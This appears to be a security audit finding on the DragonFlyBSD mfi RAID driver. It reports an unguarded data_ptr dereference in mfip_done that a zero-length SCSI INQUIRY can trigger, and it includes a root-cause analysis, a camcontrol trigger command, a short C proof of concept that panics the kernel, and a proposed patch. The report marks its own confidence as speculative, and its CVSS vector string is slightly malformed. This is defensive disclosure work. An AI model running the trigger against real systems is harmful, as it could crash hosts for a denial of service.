• File: sys/dev/raid/mfi/mfi_cam.c
• Lines: 339–343
• Severity: Low
• CVSS 3.1: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U:C:L/I:N/A:H
• CWE: CWE-476 NULL Pointer Dereference, CWE-125 Out-of-bounds Read
• Confidence: speculative
• Status: new

Summary

On MFI_STAT_OK command completion, mfip_done reads (and conditionally writes) csio->data_ptr[0] whenever the CDB opcode byte is INQUIRY, without first checking that data_ptr is non-NULL or that any data was transferred.

A raw passthrough INQUIRY issued with CAM_DIR_NONE / dxfer_len==0 (no data buffer mapped) reaches the controller with cm_data=NULL (mfi_cam.c:308-310); if the firmware still reports MFI_STAT_OK for the zero-data INQUIRY, the kernel dereferences a NULL or zero-length data_ptr, panicking the system, or performs a 1-byte out-of-bounds read+write of kernel heap.

Root cause

In mfip_done, case MFI_STAT_OK (mfi_cam.c:329-345): the command opcode is read from the CDB at :335-338 and, if it equals INQUIRY (0x12), the code unconditionally executes:

device = csio->data_ptr[0] & 0x1f;                          /* line 340 */
if ((device == T_DIRECT) || (device == T_PROCESSOR))
    csio->data_ptr[0] = (csio->data_ptr[0] & 0xe0) | T_NODEVICE;  /* 342-343 */

There is no guard that:

• (a) csio->data_ptr != NULL,
• (b) csio->dxfer_len > 0, or
• (c) the transfer actually carried INQUIRY payload.

mfip_cam_action's XPT_SCSI_IO validator (mfi_cam.c:220-244) accepts CAM_DIR_NONE INQUIRY CCBs: the (ccbh->flags & CAM_DIR_MASK) != CAM_DIR_NONE block at :230 only runs the DATA_PHYS/SCATTER_VALID rejection for non-NONE directions, so a NONE-direction INQUIRY passes validation and is queued.

mfip_start then sets cm_data=NULL, cm_len=0 for CAM_DIR_NONE (mfi_cam.c:306-311), so no DMA map is loaded (mfi.c:2159 guard cm->cm_data != NULL), and the firmware receives an INQUIRY frame with header.data_len copied from csio->dxfer_len (=0) at mfi_cam.c:284.

The completion path then dereferences data_ptr with no validation.

Threat model

Attacker position: any local user with R/W access to a /dev/passN node attached to an mfi(4) passthrough bus (or via camcontrol(8) cmd/inquiry subcommands), on a host with an LSI MegaRAID SAS controller and at least one exposed physical drive target.

Trigger: issue a raw SCSI INQUIRY (opcode 0x12) CCB with data direction NONE and dxfer_len 0 — e.g.

camcontrol cmd <passdev> -c 12 00 00 00 00 00

with no -d/-i data flags, or an equivalent ioctl(CAMIOCOMMAND) building a ccb with CAM_DIR_NONE.

Impact:

• kernel NULL-deref panic (local DoS) if data_ptr is NULL, or
• a 1-byte kernel-heap OOB read followed by an OOB write of the masked byte if data_ptr points to a zero-size malloc slab allocation.

Requires that the controller firmware return MFI_STAT_OK for the zero-data INQUIRY rather than an error status; this is firmware-dependent and could not be confirmed purely from source, hence speculative confidence.

No privilege gain; confidentiality exposure is at most one byte of kernel heap.

Proof of concept

/* poc.c -- Build: cc -o poc poc.c
 * Run as a user permitted to open /dev/pass0.
 */
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <bus/cam/scsi/scsi_pass.h>

int main(void) {
    int fd = open("/dev/pass0", O_RDWR);
    union ccb ccb;
    memset(&ccb, 0, sizeof ccb);

    ccb.ccb_h.func_code = XPT_SCSI_IO;
    /* build path to target 0 lun 0 on the mfi pass bus */
    /* (or use cam_send_ccb() from -lcam) */
    ccb.csio.cdb_io.cdb_bytes[0] = 0x12;      /* INQUIRY */
    ccb.csio.cdb_len = 6;
    ccb.ccb_h.flags = CAM_DIR_NONE;           /* no data buffer */
    ccb.csio.data_ptr = NULL;
    ccb.csio.dxfer_len = 0;

    ioctl(fd, CAMIOCOMMAND, &ccb);            /* or cam_send_ccb */
    return 0;
}

On DragonFlyBSD build with cc -o poc poc.c (linking -lcam if using cam_send_ccb).

Success criterion: immediate kernel panic with a NULL/invalid-deref fault inside mfip_done (frame mfip_done reading csio->data_ptr), confirmed by dmesg/panic trace; or, if data_ptr is a zero-size slab alloc, silent 1-byte heap corruption.

Reproducibility hinges on the controller firmware returning MFI_STAT_OK for the zero-data INQUIRY; if it returns MFI_STAT_SCSI_DONE_WITH_ERROR or MFI_STAT_SCSI_IO_FAILED the deref is skipped (the bug is dormant on that firmware).

Recommended fix

Guard the INQUIRY response rewrite so data_ptr is only touched when the CCB actually carried a non-empty INQUIRY data buffer.

--- a/sys/dev/raid/mfi/mfi_cam.c
+++ b/sys/dev/raid/mfi/mfi_cam.c
@@ -336,11 +336,16 @@ mfip_done(struct mfi_command *cm)
        else
            command = csio->cdb_io.cdb_bytes[0];
        if (command == INQUIRY) {
-           device = csio->data_ptr[0] & 0x1f;
-           if ((device == T_DIRECT) || (device == T_PROCESSOR))
-               csio->data_ptr[0] =
-                    (csio->data_ptr[0] & 0xe0) | T_NODEVICE;
+           if (csio->data_ptr != NULL && csio->dxfer_len > 0) {
+               device = csio->data_ptr[0] & 0x1f;
+               if ((device == T_DIRECT) ||
+                   (device == T_PROCESSOR))
+                   csio->data_ptr[0] =
+                       (csio->data_ptr[0] & 0xe0) |
+                       T_NODEVICE;
+           }
        }
        break;

This preserves the existing logical-volume-hiding behavior for well-formed CAM_DIR_IN INQUIRYs while avoiding the dereference for direction-mismatched or zero-length passthrough INQUIRYs.

A stricter alternative is to also reject CAM_DIR_NONE INQUIRYs (or all CAM_DIR_NONE XPT_SCSI_IO with opcode requiring data) up in mfip_cam_action at mfi_cam.c:220, but the local guard above is the minimal correct fix.

References

• sys/dev/raid/mfi/mfi_cam.c:339-343 — unguarded data_ptr[0] deref
• sys/dev/raid/mfi/mfi_cam.c:220-244 — validator accepts CAM_DIR_NONE
• sys/dev/raid/mfi/mfi_cam.c:306-311 — mfip_start sets cm_data=NULL for NONE
• sys/dev/raid/mfi/mfi.c:2159 — cm_data != NULL guard in DMA map